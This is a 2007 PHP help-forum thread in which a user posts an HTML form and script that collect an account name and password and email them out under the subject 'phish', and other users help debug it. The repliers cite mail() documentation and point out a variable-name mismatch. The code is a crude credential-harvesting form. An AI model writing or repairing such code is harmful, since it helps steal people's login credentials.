Bisdale Posted March 23, 2007 Share Posted March 23, 2007 Hi, what I am trying to do is make form so I can put my password in and then it sends it to my email from wherever I am. This what I have so far. For some reason I cant make it work =( index.html <form method="post" action="SMTP.php"> Account: <input name="account" type="text"><br> Password: <input name="password" type="password"> <br> <input name="send" type=submit> </form> here is my SMTP.php <? $acc = $_REQUEST['account'] ; $pass = $_REQUEST['password'] ; $message = "Account: $account<BR>Password: $password" mail('[email protected]', 'phish', $message, 'From: [email protected]' ); ?> Can someone please showme what I am doing wrong? Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/ Share on other sites More sharing options...
per1os Posted March 23, 2007 Share Posted March 23, 2007 http://us2.php.net/manual/en/function.mail.php That should help out. Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/#findComment-213277 Share on other sites More sharing options...
Bisdale Posted March 23, 2007 Author Share Posted March 23, 2007 http://us2.php.net/manual/en/function.mail.php That should help out. Could you tell me which bit of my code is wrong? I have no idea about php and everything is guesswork =/ Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/#findComment-213278 Share on other sites More sharing options...
per1os Posted March 23, 2007 Share Posted March 23, 2007 Chances are it is in the mail portion due to lack of headers and perhaps the -f command. Quoting the 2 examples you should look at. Example 1049. Sending mail with extra headers. The addition of basic headers, telling the MUA the From and Reply-To addresses: <?php $to = '[email protected]'; $subject = 'the subject'; $message = 'hello'; $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $message, $headers); ?> Example 1050. Sending mail with an additional command line parameter. The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path. <?php mail('[email protected]', 'the subject', 'the message', null, '[email protected]'); ?> Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/#findComment-213281 Share on other sites More sharing options...
bollenbach Posted March 23, 2007 Share Posted March 23, 2007 hmmm this looks like it could be pretty useful Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/#findComment-213333 Share on other sites More sharing options...
TecBrat Posted March 24, 2007 Share Posted March 24, 2007 I will preface by saying I'm half asleep, but it looks like there's a variable naming error: $acc = $_REQUEST['account'] ; $pass = $_REQUEST['password'] ; $message = "Account: $account<BR>Password: $password" $acc vs. $account and $pass vs. $password Link to comment https://forums.phpfreaks.com/topic/43927-help-with-php-submit-form/#findComment-214012 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.